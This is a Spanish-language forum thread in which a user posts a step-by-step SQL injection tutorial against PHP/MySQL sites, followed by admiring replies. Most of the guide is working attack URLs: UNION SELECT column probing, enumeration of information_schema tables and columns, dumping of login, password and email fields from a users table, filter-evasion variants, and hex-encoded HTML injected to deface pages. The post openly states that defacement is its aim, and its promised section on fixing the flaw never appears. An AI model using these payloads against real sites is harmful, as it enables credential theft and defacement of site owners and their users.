Jump to content

Guía: SQLi


BeyondRU

Recommended Posts

Tutorial dirigido a CHW, CCG, Ozeros y A todos los que quieran saber.

Contenido

¿Que es?.

Descripción.

¿En que lenguaje veremos su uso?.

Como saber si el sitio es vulnerable.

Atacando el sitio vulnerable.

Modificando el sitio con valores Hexadecimales.

Metodos de inyección.

Conclusión.

1.¿Que es?

La Inyección SQL o SQLi es una vulnerabilidad centrada en consultas hacia la base de datos de una pagina o servidor, esta vulnerabilidad puede estar en todo tipo de bases de datos como por ejemplo MYSQL, PostgreSQL, ademas de lenguajes de programación de web como ASP, PHP, HTML, ETC.

2.Descripción

Una Inyección SQL o SQLi suele suceder cuando se inyecta una variable de consultas desde una identidad hacia la base de datos y asi obtener directamente información del usuario administrador o ver a tu antojo todas las tablas y columnas de la web. La mayoria de las veces estos errores en las SQL son por la ignorancia del lenguaje pero este código puede ser reparado por cualquier persona, es muy facil arreglar estos errores, les mostrare esas formas al final en la conclusión.

3.¿En que lenguaje veremos su uso?

Lo veremos en PHP, ya que es en el lenguaje en que me manejo mas, hasta ahora icon_smile.gif, Ejemplo de una pagina php:

4.Como saber si el sitio es vulnerable.

Se puede saber haciendo consultas a la identidad (ej: id, act, opc)

http://www.pagina.cl/productocategoria.php?idmarca= (%number%)

http://www.pagina.cl/imprimir.php?id= (%number%)

http://www.pagina.cl/contenido.php?idcate= (%number%)

Algunos de esos podrían tener una vulnerabilidad SQLi para poder saber si tiene una vulnerabilidad habrá que hacer una consulta:

http://www.pagina.cl/imprimir.php?id=-1

http://www.pagina.cl/imprimir.php?id='2

Las paginas normalmente tienen un tipo de “Diccionario” por asi decir, en este diccionario estan las letras usadas para el php, la mayoría de las veces son numeros positivos o letras, si nosotros “insertamos” un numero que no este en este diccionario, podremos obtener errores o deformaciones en la pagina, como por ejemplo:

-Numeros Negativos (-1,-2,-3,-4,-5)

-Signo ' ('1,'2,'3,'4,'5)

-Spacios ( 1 2 3 4 5 )

Escencialmente se usa la consulta con el signo “ ' “ para saber si tiene el Magic_quotes activado, si lo esta, podremos apreciar errores

Ejemplo de error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'2' at line 1

Esto nos podra garantizar poder usar el Magic_quotes y asi obtener sus “beneficios”.

Si probaste las dos de las muchas consultas que existe, y viste que la página web es vulnerable

(te entrega la pagina en blanco, errores como el ejemplo de arriba, deformaciones en la pagina)

es porque quizas sea vulnerable, ya hecho estoy mostrare las inyecciones de arriba y su respuesta:

5.Que hacer si el sitio web es vulnerable.

Garantizo que si la web es vulnerable usar la consulta “-1”.

Bueno en primer lugar, debemos tener la pagina con la consulta -1:

http://www.pagina.cl/imprimir.php?id=-1

Ahora que esta en blanco, usaremos los signos “+” para unir consultas, el comando que llevaremos acabo es el “union select”, que escrito es asi:

http://www.pagina.cl/imprimir.php?id=-1+union+select

Este comando une dos consultas [-1(Primera Consulta)+union+select+1(Segunda Consulta)],

ahora que tenemos 1 consulta nos falta hacer la segunda la cual sera 1, quedaria así:

http://www.pagina.cl/imprimir.php?id...ion+select+1--

Lo que estamos haciendo ahora es obtener el numero de tablas que hay en la pagina y encontrar la vulnerable, despues del 1 debemos seguir con el numero 2,3,4,5 hasta que en la pagina web te muestre alguno de los numeros que se puso en la consulta, pueden ser de 1 a X numeros, pero la mayoria de las webs son desde 1 a 20, asi que depende de ti seguir del 20 o mas icon_smile.gif, bueno quedaria así:

http://www.pagina.cl/imprimir.php?id...n+select+1,2--

http://www.pagina.cl/imprimir.php?id...select+1,2,3--

http://www.pagina.cl/imprimir.php?id...lect+1,2,3,4--

http://www.pagina.cl/imprimir.php?id...ct+1,2,3,4,5--

http://www.pagina.cl/imprimir.php?id...+1,2,3,4,5,6--

http://www.pagina.cl/imprimir.php?id...,2,3,4,5,6,7--

http://www.pagina.cl/imprimir.php?id...,3,4,5,6,7,8--

PD: necesitamos poner el signo “--” despues de la inyección para saltar la sentencia que viene a continuación.

Si te das cuenta en las 7 primeras no hay ningun cambio, solo muestra esto:

sqlwr.png

Y en el numero 8 nos muestra esto:

sinttulo7ao.png

Nosotros necesitamos obtener alguno de los numeros puestos en la consulta, como ya los obtuvimos seguiremos avanzando hasta llegar al final icon_wink.gif, ahora que tenemos la vulnerabilidad, debemos darnos cuenta cuales son los numeros que aparecen en la pagina: en la que estoy probando son los “4,3 y 2”

estos numeros podemos remplazarlos por inyecciones para obtener información sobre la web, podemos remplazar el 4 por “version()” o por “user()”, o los comandos que existan icon_smile.gif, pero esto no nos sirve de nada, solo cabe decir que asi nos podemos divertir curosiando la pagina desde afuera, las inyecciones serian:

http://www.pagina.cl/imprimir.php?id=-1+union+select+1,2,3,version(),5,6,7,8--

http://www.pagina.cl/imprimir.php?id=-1+union+select+1,2,3,user(),5,6,7,8--

o los dos juntos:

http://www.pagina.cl/imprimir.php?id=-1+union+select+1,2,user(),version(),5,6,7,8--

Ya sabiendo que reemplazando un numero vulnerable por una inyeccion bien escrita, esta se ejecuta puedo explicarte como podemos obtener las tablas, que son las “categorias” de una pagina web, que en ella podemos obtener cosas como:

“comentarios,contenidos,distribuidor,encuestas,enl aces,marca,noticias,producto,respuesta,usuarios”

en la cual adentro hay columnas que son la informacion de estas “categorias”, en estas podemos encontrar cosas como:

“password,user,id,admin_user,noticia,answer”

para obtener las tablas usaremos el comando “group_concat”, “from” y “information_schema.tables” el primero es un tipo de “buscador” en el cual busca lo que tu deses y este en la pagina web, el segundo es para poner la dirección de donde se encuentra el archivo a buscar, y el tercero es una dirección en donde se encuentran las tablas, la inyección de estas en conjunto seria:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,group_concat%28identidad a buscar),5,6,7,8+from+information_schema.tables--

donde dice “identidad a buscar”, para buscar las tablas debemos poner “table_name” que especifica que estamos buscando todas las tablas de la pagina web, la inyección seria asi:

http://www.pagina.cl/imprimir.php?id...chema.tables--

y obtendriamos muchos nombre que quiza, ni conoscamos y nos podemos confundir, para esto podemos usar este “group_concat” con algunos codigos hexadecimales para poder hacer mas “bonita” la inyección, el codigo es “replace(group_concat(table_name),0x2C,0x3C62723E) “, inyectado quedaria asi:

http://www.pagina.cl/imprimir.php?id...chema.tables--

tablab.png

Son muchas mas, mostre algunas para que vean la diferencia de esta inyección con la otra, si te diste cuenta o no, las inyecciones SQLi, perimiten codigos Hexadecimales, ASCII, y nose cuales mas ya que solo he probado esos dos icon_wink.gif, bueno ahora que tenemos las tablas buscamos una interesante “nosotros buscamos “Defacear” la web asi que buscaremos algo como “admin,users,usuarios”

bueno en esta web esta “usuarios”, ahora buscaremos las columnas de usuarios, asi que aprenderas

nuevas inyecciones icon_wink.gif, estos son el “where” y “table_name=”, con estos dos comandos podemos obtener las columnas de la tabla que queremos (usuarios), para esto la inyección usada para obtener las tablas era:

http://www.pagina.cl/imprimir.php?id...chema.tables--

pero ahora queremos buscar columnas asi que cambiaremos “tables” por “columns”, quedaria así:

http://www.pagina.cl/imprimir.php?id...hema.columns--

Bueno si nos metemos al link, vemos que salen muchos nombres, estos son TODAS las columnas de la web pero nosotros queremos saber unas en especial, que son las de la tabla “usuarios”, para esto usaremos el comando “where” y “table_name=”, “where” especifica la ruta de una tabla o columna y “table_name=” despues del = se pone el nombre de la tabla en Hexadecimal o si esque esta activado el “magic_quotes”, se pone el nombre entre “ ' “, ejemplo:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,replace%28group_concat%28colu mn_name%29,0x2C,0x3C62723E%29,5,6,7,8+from+informa tion_schema.columns+where+table_name=0x%28usuarios EN HEXADECIMAL)--

(ANTES DE CUALQUIER VALOR HEXADECIMAL SE LE DEBE AGREGAR 0x PARA ESPECIFICAR QUE SE VA A AGREGAR UN VALOR HEXADECIMAL A LA INYECCIÓN)

Esto quedaria así:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,replace(group_concat(column_n ame),0x2C,0x3C62723E),5,6,7,8+from+information_sch ema.columns+where+table_name=0x7573756172696f73

columnas.png

O si esque esta activado el magic_quotes, podriamos tambien ponerlo así:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,replace(group_concat(column_n ame),0x2C,0x3C62723E),5,6,7,8+from+information_sch ema.columns+where+table_name='usuarios'

Pero como no esta activado nos da error, por lo tanto no nos sirve de nada icon_wink.gif.

Ahora que tenemos las columnas de la tabla “usuarios”, no usaremos ningun nuevo codigo, solo limpiaremos el anterior por:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,replace(group_concat(COLUMNA) ,0x2C,0x3C62723E),5,6,7,8+from+TABLA

Como ven ahí esta una inyección, en Columna, ponemos cosas como:

“id,login,password,nivel,email,nombre,apellidos,id usuario”

Por ejemplo podemos poner “login,password,email”, asi sacamos un usuariosu clave y quizas el msn tenga la misma clave, quien sabe icon_smile.gif!, la inyección seria asi:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,replace(group_concat(login,pa ssword,email),0x2C,0x3C62723E),5,6,7,8+from+usuari os

sinttulo6t.png

En todas las inyecciones se le puede añadir hexadecimal asi que le agregaré un = en hexadecimal para separar el user con la password y el mail, quedaria asi:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,replace(group_concat(login,0x 3d,password,0x3d,email),0x2C,0x3C62723E),5,6,7,8+f rom+usuarios

sinttulo5l.png

Ya teniendo todo, solo hace falta comprobar la clave y reportarla al administrador.

6.Modificando el sitio con valores Hexadecimales.

Como ya sabemos las inyecciones SQL, pueden tener distintas encriptaciones, por ejemplo podemos tener algo como:

http://www.pagina.cl/imprimir.php?id...6C3E,5,6,7,8--

Se ve algo raro, pero es muy simple, encripte:

<html><embed src="http://13337.webcindario.com/Tier.swf"></html>

En Hexadecimal y me da el resultado de:

3C68746D6C3E3C656D626564207372633D22687474703A2F2F 31333333372E77656263696E646172696F2E636F6D2F546965 722E737766223E3C2F68746D6C3E, este codigo hexadecimal luego lo inyecto en algun numero vulnerable de la pagina, el resultado es la deformación de la pagina y música de fondo.

Como ven se ve muy bonito, pero no nos sirve absolutamente de nada un codigo html como ese, lo que nos puede servir en estos codigos podría ser que la inyección se vea mas ordenada como por ejemplo:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,replace(group_concat(0x3c6272 3e5573756172696f3a20,login,0x3c62723e436c6176653a2 0,password,0x3c62723e436f7272656f20456c656374726f6 e69636f3a20,email),0x2C,0x3C62723E),5,6,7,8+from+u suarios--

Aquí puse <br>Usuario:, <br>Clave: y <br>Password:, en Hexadecimal y luego lo añadi a la consulta, cabe decir que en una SQLi pueden haber infinitas consultas, podemos hacer lo del cambio de fondo en el numero vulnerable 3, y luego las columnas de la pagina, quedaria asi:

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,0x3c68746d6c3e3c626f64792062616 36b67726f756e643d22687474703a2f2f62696f63617464656 66163696e672e77656263696e646172696f2e636f6d2f62676 76e332e676966223e3c2f626f64793e3c2f68746d6c3e,repl ace(group_concat(0x3c62723e5573756172696f3a20,logi n,0x3c62723e436c6176653a20,password,0x3c62723e436f 7272656f20456c656374726f6e69636f3a20,email),0x2C,0 x3C62723E),5,6,7,8+from+usuarios--

No se aprecian las claves pero se ve que si inyecto, para que se vean se les puede cambiar el color de la letra, tambien se puede hacer y es sencillo, solo se usa el codigo en html y se pasa a hexadecimal y luego se ejecuta, no olvide que todo hexadecimal inyectado en la consulta debe tener antes el 0x sino, no funcionaria la Inyección, bueno ahora que saben que el lenguaje encriptado a hexadecimal funciona.

7.Metodos de Inyección.

Nosotros sabemos que el comando para unir dos consultas es el UNION+SELECT y puesto en accion era -1+union+select+%number%, bueno ahora les mostrare mas:

-1+UNION+SELECT+

-1'+UNION+SELECT+ (Magic Quotes Activado)

-1+UNION+ALL+SELECT+

-1'+UNION+ALL+SELECT+

-1/**/UNION/**/SELECT/**/ (Se cambia el + por /**/)

-1'/**/UNION/**/SELECT/**/ (Magic Quotes Activado)

-1/**/UNION/**/ALL/**/SELECT/**/

-1'/**/UNION/**/ALL/**/SELECT/**/ (Magic Quotes Activado)

-1/**/UNION/**/ALL/**/SELECT/**/

-1 union select

-1 union all select

1+UNION+SELECT+

1'+UNION+SELECT+ (Magic Quotes Activado)

1+UNION+ALL+SELECT+

1'+UNION+ALL+SELECT+

1' union select

1' union all select

1/**/UNION/**/SELECT/**/

1'/**/UNION/**/SELECT/**/ (Magic Quotes Activado)

1/**/UNION/**/ALL/**/SELECT/**/

1'/**/UNION/**/ALL/**/SELECT/**/

1/**/UNION/**/ALL/**/SELECT/**/

1 union select

1 union all select

Puedes probarlos todos, pero el que recomiendo es el -1/**/UNION/**/SELECT/**/, este nunca me ha fallado al igual que el predeterminado, ademas de que existan diferentes tipos de este comando, tambien existen diferentes para el comando +FROM+, algunos de los que se son:

+from+

/**/from/**/

%20from%20

+FROM+

/**/FROM/**/

%20FROM%20

from

Digo lo mismo a lo anterior, pueden probar todos, y recomiendo el /**/from/**/ (Mayus ON/OFF) y el +from+, esto no releva mucho el comando, bueno ahora que sabemos estas dos cosas haré una inyeccion con esto:

http://www.pagina.cl/imprimir.php?id...,3,4,5,6,7,8--

Y sacando las tablas, podria ser asi:

http://www.pagina.cl/imprimir.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,group_concat(table_name),5,6,7,8/**/from/**/information_schema.tables--

Al igual que la predeterminada funciona igual, solo que es un poco diferente, bueno ahora al sacar las tablas, quizás alguna vez no les funcione el table_name, pero existe uno que hace lo mismo y es el table_schema, esto va igual a el column_name, existe el mismo, column_schema. Ademas de todo esto, las web como ya sabemos pueden contener codigos hexadecimales, estos se agregan en cualquier consulta pero antes se le debe agregar el 0x para especificar que se usara un codigo hexadecimal. Un ejemplo seria cambiar el fondo de la pagina web, lo cambiare a una imagen mia, el codigo en html seria:

<html><body background="http://img299.imageshack.us/img299/8970/lollx.gif"></body></html>, ahora lo encriptamos a hexadecimal:

3c68746d6c3e3c626f6479206261636b67726f756e643d2268 7474703a2f2f696d673239392e696d616765736861636b2e75 732f696d673239392f383937302f6c6f6c6c782e676966223e 203c2f626f64793e3c2f68746d6c3e

Ahora tenemos el codigo, pero les recuerdo que para que se inyecte correctamente debe tener el 0x antes del codigo hexadecimal, quedaria asi:

0x3c68746d6c3e3c626f6479206261636b67726f756e643d22 687474703a2f2f696d673239392e696d616765736861636b2e 75732f696d673239392f383937302f6c6f6c6c782e67696622 3e203c2f626f64793e3c2f68746d6c3e

Copio este codigo y lo añado a la consulta, quedaria asi:

http://www.pagina.cl/imprimir.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,0x3c68746d6c3e3c626f6479206261636b67726f756e 643d22687474703a2f2f696d673239392e696d616765736861 636b2e75732f696d673239392f383937302f6c6f6c6c782e67 6966223e203c2f626f64793e3c2f68746d6c3e,5,6,7,8--

Ademas podemos “Ordenar” nuestras Inyecciones, por ejemplo al sacar las columnas de usuarios, y son MUCHOS, podriamos separarlos con hexadecimales, por ejemplo:

Usuario: 5573756172696f3a

Clave: 436c6176653a

Entonces ponemos a la Inyección en la cual sacabamos las columnas de la tabla usuarios, le añadimos antes de login, 5573756172696f3a y antes de password 436c6176653a, quedaria asi:

http://www.pagina.cl/imprimir.php?id=-1/**/union/**all/**/select/**/1,2,3,replace(group_concat(0x5573756172696f3a,logi n,0x436c6176653a,password),0x2C,0x3C62723E),5,6,7, 8/**/from/**/usuarios--

Pero, si te das cuenta sale esto:

sinttulo4g.png

para arreglar esto, antes de los codigos hexadecimales puestos en la inyección, le agregamos 0x 3c6273e , que significa <br>, quedaria asi:

http://www.pagina.cl/imprimir.php?id=-1/**/union/**all/**/select/**/1,2,3,replace(group_concat(0x3c62723e5573756172696 f3a,login,0x3c62723e436c6176653a,password),0x2C,0x 3C62723E),5,6,7,8/**/from/**/usuarios--

sinttulo3vq.png

Ahora se ve mejor, ademas de esto podemos poner codigos PHP, HTML, JAVASCRIPT, ETC. Bueno ahora les dire lo ultimo en encriptación en SQLi, los numeros 1,2,3,4,5,6,7,8,9,X, pueden tambien ser expresados por “Null”, por ejemplo en la inyección de arriba quedaria asi:

http://www.pagina.cl/imprimir.php?id=-1/**/union/**all/**/select/**/null,null,null,replace(group_concat(0x3c62723e5573 756172696f3a,login,0x3c62723e436c6176653a,password ),0x2C,0x3C62723E),null,null,null,null/**/from/**/usuarios--

sinttulo1ib.png

Ahora diferenciaremos la inyección normal con la “encriptada”

http://www.pagina.cl/imprimir.php?id=-1/**/union/**all/**/select/**/null,null,null,replace(group_concat(0x3c62723e5573 756172696f3a,login,0x3c62723e436c6176653a,password ),0x2C,0x3C62723E),null,null,null,null/**/from/**/usuarios--

http://www.pagina.cl/imprimir.php?id=-1+UNION+SELECT+1,2,3,group_concat(login,,password, email),5,6,7,8+from+usuarios--

Obvio que la primera esta mucho mas elegante, bueno en la tercera parte explicare lo del mysql.user.

8.Conclusión.

Tutoríal exclusivo para Chilean CyberGuard (Q.E.P.D) CHW y ahora oZeros Atte BeyondRU.

Link to comment
Compartir en otros sitios

:o !!!!!!

Y al final te olvidaste poner: Ozeros junta miedo! D:

Buena guía, a prueba de ministros de educación.

Link to comment
Compartir en otros sitios

Esta guía si me gusto mucho. Mis felicitaciones .cuando algo es bueno hay que reconocerlo :zippynana

Link to comment
Compartir en otros sitios

Esta interesante, gracias por el aporte

Esta interesante, gracias por el aporte

Link to comment
Compartir en otros sitios

Ctm, no se si Felicitarte o tener miedo :zippy

lo que si, esta guia se fue a mis documentos :B

Habian algunas cositas que no sabia.

Super bien hecha!

Saludos.

Link to comment
Compartir en otros sitios

Ctm, no se si Felicitarte o tener miedo :zippy

lo que si, esta guia se fue a mis documentos :B

Habian algunas cositas que no sabia.

Super bien hecha!

Saludos.

No hay porque tener miedo, miedo hay que tener a los que se dedican a averiguar, quien eres, donde vives, que haces, quien es tu familia, si tienes cuenta bancaria, que comes. Etc, etc .porque saben cuáles son tus puntos débiles, tengo un amigo que le cagaron , el matrimonio. Una de esas personas. :ph34r:

Link to comment
Compartir en otros sitios

No hay porque tener miedo, miedo hay que tener a los que se dedican a averiguar, quien eres, donde vives, que haces, quien es tu familia, si tienes cuenta bancaria, que comes. Etc, etc .porque saben cuáles son tus puntos débiles, tengo un amigo que le cagaron , el matrimonio. Una de esas personas. :ph34r:

hahaha, esa gente que se dedica a eso, saben ingenieria social y usan las databases que "quackean" para luego hacer spam y tratar de robar cuentas ... :)

Link to comment
Compartir en otros sitios

No es por nada.{pero estan todos identificados señores} :risas :risas :risas :risas

Link to comment
Compartir en otros sitios

Registrate o inicia sesión para comentar

Tienes que ser un usuario de nuestro foro para poder comentar

Crear una cuenta

Registrate en nuestro foro. Es Fácil!

¡Quiero registrarme ahora!

Iniciar Sesión

¿Ya tienes una cuenta? Inicia sesión aquí

Iniciar Sesión Ahora
×
×
  • Create New...

Información Importante

Al usar nuestro sitio, aceptas a nuestros Términos de Uso y Reglas y Política de Privacidad.

HN Datacenter en Chile